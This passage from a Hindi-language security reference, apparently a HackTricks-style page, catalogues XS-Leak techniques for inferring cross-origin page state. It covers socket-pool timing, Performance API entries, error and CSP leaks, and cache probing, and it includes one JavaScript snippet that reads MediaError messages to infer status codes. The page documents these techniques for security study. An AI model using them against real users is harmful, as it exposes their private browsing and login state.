ब्राउज़र सर्वर संचार के लिए सॉकेट का उपयोग करते हैं, लेकिन ऑपरेटिंग सिस्टम और हार्डवेयर के सीमित संसाधनों के कारण, **ब्राउज़र को समवर्ती सॉकेट्स की संख्या पर एक सीमा** लगानी पड़ती है। हमलावर इस सीमा का शोषण निम्नलिखित चरणों के माध्यम से कर सकते हैं:
|
|
|
|
1. ब्राउज़र के सॉकेट की सीमा का पता लगाएं, उदाहरण के लिए, 256 वैश्विक सॉकेट।
|
|
2. 255 अनुरोधों को विभिन्न होस्टों पर शुरू करके 255 सॉकेट्स को लंबे समय तक व्यस्त रखें, जो कनेक्शन को खुले रखने के लिए डिज़ाइन किए गए हैं बिना पूरा किए।
|
|
3. लक्षित पृष्ठ को भेजने के लिए 256 वें सॉकेट का उपयोग करें।
|
|
4. एक अलग होस्ट पर 257 वां अनुरोध करने का प्रयास करें। चूंकि सभी सॉकेट उपयोग में हैं (जैसा कि चरण 2 और 3 में है), यह अनुरोध तब तक कतारबद्ध होगा जब तक कोई सॉकेट उपलब्ध नहीं हो जाता। इस अनुरोध के आगे बढ़ने से पहले की देरी हमलावर को 256 वें सॉकेट (लक्षित पृष्ठ के सॉकेट) से संबंधित नेटवर्क गतिविधि के बारे में समय की जानकारी प्रदान करती है। यह अनुमान संभव है क्योंकि चरण 2 से 255 सॉकेट अभी भी व्यस्त हैं, यह संकेत करते हुए कि कोई भी नया उपलब्ध सॉकेट वह होना चाहिए जो चरण 3 से मुक्त हुआ हो। 256 वें सॉकेट के उपलब्ध होने में लगने वाला समय इस प्रकार सीधे लक्षित पृष्ठ के अनुरोध को पूरा करने के लिए आवश्यक समय से जुड़ा होता है।
|
|
|
|
अधिक जानकारी के लिए: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
|
|
|
### Connection Pool by Destination
|
|
|
|
- **Inclusion Methods**: JavaScript Requests
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**:
|
|
- **Summary:** यह पिछले तकनीक के समान है लेकिन सभी सॉकेट्स का उपयोग करने के बजाय, Google **Chrome** एक ही मूल के लिए **6 समवर्ती अनुरोधों** की सीमा लगाता है। यदि हम **5 को अवरुद्ध करते हैं** और फिर **6 वां** अनुरोध लॉन्च करते हैं, तो हम इसे **समय** कर सकते हैं और यदि हम **पीड़ित पृष्ठ को** उसी एंडपॉइंट पर अधिक **अनुरोध भेजने** में सफल होते हैं, तो **6 वां अनुरोध** **लंबा** होगा और हम इसे पहचान सकते हैं।
|
|
|
|
## Performance API Techniques
|
|
|
|
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) वेब अनुप्रयोगों के प्रदर्शन मेट्रिक्स के बारे में जानकारी प्रदान करता है, जिसे [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) द्वारा और समृद्ध किया गया है। Resource Timing API नेटवर्क अनुरोध समय की विस्तृत निगरानी की अनुमति देता है, जैसे अनुरोधों की अवधि। विशेष रूप से, जब सर्वर अपने उत्तरों में `Timing-Allow-Origin: *` हेडर शामिल करते हैं, तो अतिरिक्त डेटा जैसे ट्रांसफर आकार और डोमेन लुकअप समय उपलब्ध हो जाता है।
|
|
|
|
इस डेटा की समृद्धता को [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) या [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) जैसी विधियों के माध्यम से प्राप्त किया जा सकता है, जो प्रदर्शन से संबंधित जानकारी का एक व्यापक दृश्य प्रदान करता है। इसके अतिरिक्त, API निष्पादन समय को मापने की सुविधा प्रदान करता है, जो [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) से प्राप्त टाइमस्टैम्प के बीच का अंतर निकालकर किया जाता है। हालाँकि, यह ध्यान देने योग्य है कि Chrome जैसे ब्राउज़रों में कुछ ऑपरेशनों के लिए, `performance.now()` की सटीकता मिलीसेकंड तक सीमित हो सकती है, जो समय माप की बारीकी को प्रभावित कर सकती है।
|
|
|
|
समय माप के अलावा, प्रदर्शन API को सुरक्षा से संबंधित अंतर्दृष्टि के लिए भी उपयोग किया जा सकता है। उदाहरण के लिए, Chrome में `performance` ऑब्जेक्ट में पृष्ठों की उपस्थिति या अनुपस्थिति `X-Frame-Options` के लागू होने का संकेत दे सकती है। विशेष रूप से, यदि किसी पृष्ठ को `X-Frame-Options` के कारण एक फ्रेम में रेंडर करने से रोका जाता है, तो यह `performance` ऑब्जेक्ट में रिकॉर्ड नहीं किया जाएगा, जो पृष्ठ की फ्रेमिंग नीतियों के बारे में एक सूक्ष्म संकेत प्रदान करता है।
|
|
|
|
### Error Leak
|
|
|
|
- **Inclusion Methods**: Frames, HTML Elements
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** एक अनुरोध जो त्रुटियों का परिणाम देता है, संसाधन समय प्रविष्टि नहीं बनाएगा।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
|
|
|
यह **HTTP प्रतिक्रिया स्थिति कोड** के बीच **भेद** करने के लिए संभव है क्योंकि जो अनुरोध **त्रुटि** का परिणाम देते हैं वे **प्रदर्शन प्रविष्टि** नहीं बनाते हैं।
|
|
|
|
### Style Reload Error
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** एक ब्राउज़र बग के कारण, त्रुटियों का परिणाम देने वाले अनुरोध दो बार लोड होते हैं।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
|
|
|
पिछली तकनीक में यह भी पहचाना गया कि दो मामलों में ब्राउज़र बग GC के कारण **संसाधनों को दो बार लोड किया जाता है जब वे लोड करने में विफल होते हैं**। यह प्रदर्शन API में कई प्रविष्टियों का परिणाम देगा और इस प्रकार इसे पहचाना जा सकता है।
|
|
|
|
### Request Merging Error
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** त्रुटि का परिणाम देने वाले अनुरोधों को मर्ज नहीं किया जा सकता है।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
|
|
|
यह तकनीक उल्लेखित पेपर में एक तालिका में पाई गई थी लेकिन इसके बारे में कोई विवरण नहीं मिला। हालाँकि, आप इसे [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) में स्रोत कोड की जांच करके पा सकते हैं।
|
|
|
|
### Empty Page Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** खाली प्रतिक्रियाएँ संसाधन समय प्रविष्टियाँ नहीं बनाती हैं।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
|
|
|
एक हमलावर यह पहचान सकता है कि क्या एक अनुरोध का परिणाम खाली HTTP प्रतिक्रिया शरीर में हुआ क्योंकि **खाली पृष्ठ कुछ ब्राउज़रों में प्रदर्शन प्रविष्टि नहीं बनाते हैं**।
|
|
|
|
### **XSS-Auditor Leak**
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** सुरक्षा आश्वासन में XSS ऑडिटर का उपयोग करते हुए, हमलावर प्रतिक्रिया में बदलावों का अवलोकन करके विशिष्ट वेबपृष्ठ तत्वों का पता लगा सकते हैं जब तैयार किए गए पेलोड ऑडिटर के फ़िल्टरिंग तंत्र को ट्रिगर करते हैं।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
|
|
|
सुरक्षा आश्वासन (SA) में, XSS ऑडिटर, जो मूल रूप से क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों को रोकने के लिए डिज़ाइन किया गया था, को संवेदनशील जानकारी लीक करने के लिए विपरीत रूप से शोषित किया जा सकता है। हालाँकि, यह अंतर्निहित विशेषता Google Chrome (GC) से हटा दी गई थी, यह SA में अभी भी मौजूद है। 2013 में, ब्रौन और हाइडरिच ने प्रदर्शित किया कि XSS ऑडिटर अनजाने में वैध स्क्रिप्ट को अवरुद्ध कर सकता है, जिससे झूठे सकारात्मक होते हैं। इसके आधार पर, शोधकर्ताओं ने जानकारी निकालने और क्रॉस-ओरिजिन पृष्ठों पर विशिष्ट सामग्री का पता लगाने के लिए तकनीकों का विकास किया, जिसे XS-Leaks के रूप में जाना जाता है, जिसे पहले टेराडा द्वारा रिपोर्ट किया गया था और हेयस द्वारा एक ब्लॉग पोस्ट में विस्तृत किया गया था। हालाँकि ये तकनीकें GC में XSS ऑडिटर के लिए विशिष्ट थीं, यह पाया गया कि SA में, XSS ऑडिटर द्वारा अवरुद्ध पृष्ठ प्रदर्शन API में प्रविष्टियाँ उत्पन्न नहीं करते हैं, जिससे संवेदनशील जानकारी लीक होने का एक तरीका प्रकट होता है।
|
|
|
|
### X-Frame Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
|
|
- **Summary:** X-Frame-Options हेडर वाला संसाधन संसाधन समय प्रविष्टि नहीं बनाता है।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
|
|
|
यदि किसी पृष्ठ को **iframe** में **रेंडर** करने की **अनुमति नहीं है**, तो यह **प्रदर्शन प्रविष्टि** नहीं बनाता है। परिणामस्वरूप, एक हमलावर **`X-Frame-Options`** प्रतिक्रिया हेडर का पता लगा सकता है।\
|
|
यदि आप **embed** **tag** का उपयोग करते हैं तो वही होता है।
|
|
|
|
### Download Detection
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** डाउनलोड प्रदर्शन API में संसाधन समय प्रविष्टियाँ नहीं बनाते हैं।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
|
|
|
XS-Leak के वर्णित तरीके के समान, एक **संसाधन जो डाउनलोड किया गया है** क्योंकि ContentDisposition हेडर के कारण, भी **प्रदर्शन प्रविष्टि** नहीं बनाता है। यह तकनीक सभी प्रमुख ब्राउज़रों में काम करती है।
|
|
|
|
### Redirect Start Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Redirect
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** संसाधन समय प्रविष्टि एक रीडायरेक्ट के प्रारंभ समय को लीक करती है।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
|
|
|
हमने एक XS-Leak उदाहरण पाया जो कुछ ब्राउज़रों के व्यवहार का दुरुपयोग करता है जो क्रॉस-ओरिजिन अनुरोधों के लिए बहुत अधिक जानकारी लॉग करते हैं। मानक एक उपसमुच्चय विशेषताओं को शून्य पर सेट करने के लिए परिभाषित करता है जो क्रॉस-ओरिजिन संसाधनों के लिए होना चाहिए। हालाँकि, **SA** में यह पता लगाना संभव है कि क्या उपयोगकर्ता **लक्षित पृष्ठ द्वारा रीडायरेक्ट** किया गया है, **Performance API** को क्वेरी करके और **redirectStart समय डेटा** की जांच करके।
|
|
|
|
### Duration Redirect Leak
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Redirect
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** रीडायरेक्ट होने पर समय प्रविष्टियों की अवधि नकारात्मक होती है।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
|
|
|
GC में, **रीडायरेक्ट** के परिणामस्वरूप अनुरोधों के लिए **अवधि** **नकारात्मक** होती है और इस प्रकार इसे **रीडायरेक्ट** के परिणामस्वरूप अनुरोधों से अलग किया जा सकता है।
|
|
|
|
### CORP Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** CORP द्वारा संरक्षित संसाधन संसाधन समय प्रविष्टियाँ नहीं बनाते हैं।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
|
|
|
कुछ मामलों में, **nextHopProtocol प्रविष्टि** को लीक तकनीक के रूप में उपयोग किया जा सकता है। GC में, जब **CORP हेडर** सेट होता है, तो nextHopProtocol **खाली** होगा। ध्यान दें कि SA CORP-सक्षम संसाधनों के लिए प्रदर्शन प्रविष्टि नहीं बनाएगा।
|
|
|
|
### Service Worker
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: API Usage
|
|
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
|
|
- **Summary:** एक विशिष्ट मूल के लिए एक सेवा कार्यकर्ता पंजीकृत है या नहीं, इसका पता लगाएं।
|
|
- **Code Example**:
|
|
|
|
सेवा कार्यकर्ता इवेंट-चालित स्क्रिप्ट संदर्भ होते हैं जो एक मूल पर चलते हैं। वे एक वेब पृष्ठ के बैकग्राउंड में चलते हैं और संसाधनों को इंटरसेप्ट, संशोधित और **कैश** कर सकते हैं ताकि ऑफ़लाइन वेब एप्लिकेशन बनाया जा सके।\
|
|
यदि **सेवा कार्यकर्ता** द्वारा **कैश किया गया** संसाधन **iframe** के माध्यम से एक्सेस किया जाता है, तो संसाधन **सेवा कार्यकर्ता कैश** से **लोड** होगा।\
|
|
यह पता लगाने के लिए कि क्या संसाधन **सेवा कार्यकर्ता** कैश से **लोड** किया गया था, **Performance API** का उपयोग किया जा सकता है।\
|
|
यह एक टाइमिंग हमले के साथ भी किया जा सकता है (अधिक जानकारी के लिए पेपर देखें)।
|
|
|
|
### Cache
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Timing
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
|
- **Summary:** यह जांचना संभव है कि क्या एक संसाधन कैश में संग्रहीत था।
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
|
|
|
|
[Performance API](xs-search.md#performance-api) का उपयोग करके यह जांचना संभव है कि क्या एक संसाधन कैश में है।
|
|
|
|
### Network Duration
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
|
- **Summary:** यह संभव है कि `performance` API से एक अनुरोध की नेटवर्क अवधि प्राप्त की जा सके।
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
|
|
|
## Error Messages Technique
|
|
|
|
### Media Error
|
|
|
|
- **Inclusion Methods**: HTML Elements (Video, Audio)
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
|
- **Summary:** Firefox में एक क्रॉस-ओरिजिन अनुरोध की स्थिति कोड को सटीक रूप से लीक करना संभव है।
|
|
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
|
```javascript
|
|
// Code saved here in case it dissapear from the link
|
|
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
|
|
window.addEventListener("load", startup, false)
|
|
function displayErrorMessage(msg) {
|
|
document.getElementById("log").innerHTML += msg
|
|
}
|
|
|
|
function startup() {
|
|
let audioElement = document.getElementById("audio")
|
|
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
|
|
document.getElementById("startTest").addEventListener(
|
|
"click",
|
|
function () {
|
|
audioElement.src = document.getElementById("testUrl").value
|
|
},
|
|
false
|
|
)
|
|
// Create the event handler
|
|
var errHandler = function () {
|
|
let err = this.error
|
|
let message = err.message
|
|
let status = ""
|
|
|
|
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
|
|
// Firefox error.message when the request loads successfully: "Failed to init decoder"
|
|
if (
|
|
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
|
|
message.indexOf("Failed to init decoder") != -1
|
|
) {
|
|
status = "Success"
|
|
} else {
|
|
status = "Error"
|
|
}
|
|
displayErrorMessage(
|
|
"<strong>Status: " +
|
|
status +
|
|
"</strong> (Error code:" +
|
|
err.code +
|
|
" / Error Message: " +
|
|
err.message +
|
|
")<br>"
|
|
)
|
|
}
|
|
audioElement.onerror = errHandler
|
|
}
|
|
```
|
|
The `MediaError` इंटरफेस का message प्रॉपर्टी उन संसाधनों की अद्वितीय पहचान करता है जो एक विशिष्ट स्ट्रिंग के साथ सफलतापूर्वक लोड होते हैं। एक हमलावर इस विशेषता का लाभ उठाकर message सामग्री का अवलोकन कर सकता है, जिससे वह क्रॉस-ओरिजिन संसाधन की प्रतिक्रिया स्थिति का अनुमान लगा सकता है।
|
|
|
|
### CORS Error
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
|
- **Summary:** Security Assertions (SA) में, CORS त्रुटि संदेश अनजाने में पुनर्निर्देशित अनुरोधों का पूरा URL उजागर करते हैं।
|
|
- **Code Example**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
|
|
|
यह तकनीक एक हमलावर को **क्रॉस-ओरिजिन साइट के पुनर्निर्देश का गंतव्य निकालने** की अनुमति देती है, जो यह दर्शाती है कि Webkit-आधारित ब्राउज़र CORS अनुरोधों को कैसे संभालते हैं। विशेष रूप से, जब एक **CORS-सक्षम अनुरोध** को एक लक्षित साइट पर भेजा जाता है जो उपयोगकर्ता की स्थिति के आधार पर पुनर्निर्देशित करती है और ब्राउज़र बाद में अनुरोध को अस्वीकार करता है, तो **पुनर्निर्देश के लक्ष्य का पूरा URL** त्रुटि संदेश के भीतर प्रकट होता है। यह भेद्यता न केवल पुनर्निर्देश के तथ्य को प्रकट करती है बल्कि पुनर्निर्देश के अंत बिंदु और किसी भी **संवेदनशील क्वेरी पैरामीटर** को भी उजागर करती है जो इसमें हो सकते हैं।
|
|
|
|
### SRI Error
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
|
- **Summary:** Security Assertions (SA) में, CORS त्रुटि संदेश अनजाने में पुनर्निर्देशित अनुरोधों का पूरा URL उजागर करते हैं।
|
|
- **Code Example**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
|
|
|
एक हमलावर **विस्तृत त्रुटि संदेशों** का लाभ उठाकर क्रॉस-ओरिजिन प्रतिक्रियाओं के आकार का अनुमान लगा सकता है। यह Subresource Integrity (SRI) के तंत्र के कारण संभव है, जो यह सुनिश्चित करने के लिए इंटीग्रिटी एट्रिब्यूट का उपयोग करता है कि संसाधन, जो अक्सर CDNs से लाए जाते हैं, में छेड़छाड़ नहीं की गई है। SRI को क्रॉस-ओरिजिन संसाधनों पर काम करने के लिए, इन्हें **CORS-सक्षम** होना चाहिए; अन्यथा, ये इंटीग्रिटी जांच के अधीन नहीं होते। Security Assertions (SA) में, CORS त्रुटि XS-Leak की तरह, एक त्रुटि संदेश को इंटीग्रिटी एट्रिब्यूट के साथ एक फेच अनुरोध के बाद कैप्चर किया जा सकता है। हमलावर जानबूझकर **इस त्रुटि को ट्रिगर** कर सकते हैं, किसी भी अनुरोध के इंटीग्रिटी एट्रिब्यूट को **बोगस हैश मान** सौंपकर। SA में, परिणामी त्रुटि संदेश अनजाने में अनुरोधित संसाधन की सामग्री की लंबाई को प्रकट करता है। यह जानकारी लीक होने से एक हमलावर को प्रतिक्रिया के आकार में भिन्नताओं का पता लगाने की अनुमति मिलती है, जो उन्नत XS-Leak हमलों के लिए रास्ता खोलती है।
|
|
|
|
### CSP Violation/Detection
|
|
|
|
- **Inclusion Methods**: Pop-ups
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
|
- **Summary:** CSP में केवल पीड़ित की वेबसाइट की अनुमति देने पर, यदि हम इसे किसी अन्य डोमेन पर पुनर्निर्देशित करने का प्रयास करते हैं, तो CSP एक पहचानने योग्य त्रुटि उत्पन्न करेगा।
|
|
- **Code Example**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
|
|
|
एक XS-Leak CSP का उपयोग करके यह पता लगा सकता है कि क्या एक क्रॉस-ओरिजिन साइट को एक अलग मूल पर पुनर्निर्देशित किया गया था। यह लीक पुनर्निर्देश का पता लगा सकता है, लेकिन इसके अतिरिक्त, पुनर्निर्देश लक्ष्य का डोमेन भी लीक करता है। इस हमले का मूल विचार है कि **हमलावर साइट पर लक्षित डोमेन की अनुमति दें**। एक बार जब लक्षित डोमेन पर एक अनुरोध जारी किया जाता है, तो यह **पुनर्निर्देशित** होता है एक क्रॉस-ओरिजिन डोमेन पर। **CSP** इसके लिए पहुंच को अवरुद्ध करता है और एक **उल्लंघन रिपोर्ट बनाता है जिसका उपयोग लीक तकनीक के रूप में किया जाता है**। ब्राउज़र के आधार पर, **यह रिपोर्ट पुनर्निर्देश के लक्ष्य स्थान को लीक कर सकती है**।\
|
|
आधुनिक ब्राउज़र यह नहीं बताते कि इसे किस URL पर पुनर्निर्देशित किया गया था, लेकिन आप अभी भी यह पता लगा सकते हैं कि एक क्रॉस-ओरिजिन पुनर्निर्देश को ट्रिगर किया गया था।
|
|
|
|
### Cache
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
|
|
- **Summary:** फ़ाइल को कैश से हटा दें। लक्षित पृष्ठ खोलता है, यह जांचता है कि क्या फ़ाइल कैश में मौजूद है।
|
|
- **Code Example:**
|
|
|
|
ब्राउज़र सभी वेबसाइटों के लिए एक साझा कैश का उपयोग कर सकते हैं। उनके मूल की परवाह किए बिना, यह पता लगाना संभव है कि क्या लक्षित पृष्ठ ने **विशिष्ट फ़ाइल** का अनुरोध किया है।
|
|
|
|
यदि एक पृष्ठ केवल तभी एक छवि लोड करता है जब उपयोगकर्ता लॉग इन होता है, तो आप **संसाधन को अमान्य** कर सकते हैं (ताकि यह अब कैश में न हो, अधिक जानकारी के लिए लिंक देखें), **एक अनुरोध करें** जो उस संसाधन को लोड कर सकता है और **खराब अनुरोध** के साथ संसाधन लोड करने का प्रयास करें (जैसे, एक लंबे रेफरर हेडर का उपयोग करके)। यदि संसाधन लोड **किसी त्रुटि को ट्रिगर नहीं करता है**, तो इसका मतलब है कि यह **कैश किया गया** था।
|
|
|
|
### CSP Directive
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
|
|
- **Summary:** CSP हेडर निर्देशों को CSP iframe एट्रिब्यूट का उपयोग करके जांचा जा सकता है, जो नीति विवरण प्रकट करता है।
|
|
- **Code Example**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
|
|
|
Google Chrome (GC) में एक नया फीचर वेब पृष्ठों को **Content Security Policy (CSP)** का प्रस्ताव करने की अनुमति देता है, जो iframe तत्व पर एक एट्रिब्यूट सेट करके किया जाता है, जिसमें नीति निर्देश HTTP अनुरोध के साथ भेजे जाते हैं। सामान्यतः, एम्बेडेड सामग्री को **HTTP हेडर के माध्यम से इसकी अनुमति देनी चाहिए**, अन्यथा एक **त्रुटि पृष्ठ प्रदर्शित होता है**। हालाँकि, यदि iframe पहले से ही CSP द्वारा शासित है और प्रस्तावित नीति अधिक प्रतिबंधात्मक नहीं है, तो पृष्ठ सामान्य रूप से लोड होगा। यह तंत्र एक हमलावर को **क्रॉस-ओरिजिन पृष्ठ के विशिष्ट CSP निर्देशों का पता लगाने** के लिए एक मार्ग खोलता है, त्रुटि पृष्ठ की पहचान करके। हालांकि इस भेद्यता को ठीक किया गया था, हमारे निष्कर्ष एक **नया लीक तकनीक** प्रकट करते हैं जो त्रुटि पृष्ठ का पता लगाने में सक्षम है, यह सुझाव देते हुए कि अंतर्निहित समस्या कभी पूरी तरह से संबोधित नहीं की गई थी।
|
|
|
|
### **CORP**
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
|
|
- **Summary:** Cross-Origin Resource Policy (CORP) के साथ सुरक्षित संसाधन एक अस्वीकृत मूल से लाए जाने पर त्रुटि उत्पन्न करेंगे।
|
|
- **Code Example**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
|
|
|
|
CORP हेडर एक अपेक्षाकृत नया वेब प्लेटफ़ॉर्म सुरक्षा फीचर है जो सेट होने पर **दिए गए संसाधन के लिए नो-कोर्स क्रॉस-ओरिजिन अनुरोधों को अवरुद्ध करता है**। हेडर की उपस्थिति का पता लगाया जा सकता है, क्योंकि CORP से सुरक्षित संसाधन **लाए जाने पर त्रुटि उत्पन्न करेगा**।
|
|
|
|
### CORB
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Headers
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
|
|
- **Summary**: CORB हमलावरों को यह पता लगाने की अनुमति दे सकता है कि **`nosniff` हेडर अनुरोध में मौजूद है**।
|
|
- **Code Example**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
|
|
|
|
हमले के बारे में अधिक जानकारी के लिए लिंक की जांच करें।
|
|
|
|
### CORS error on Origin Reflection misconfiguration <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
|
|
|
|
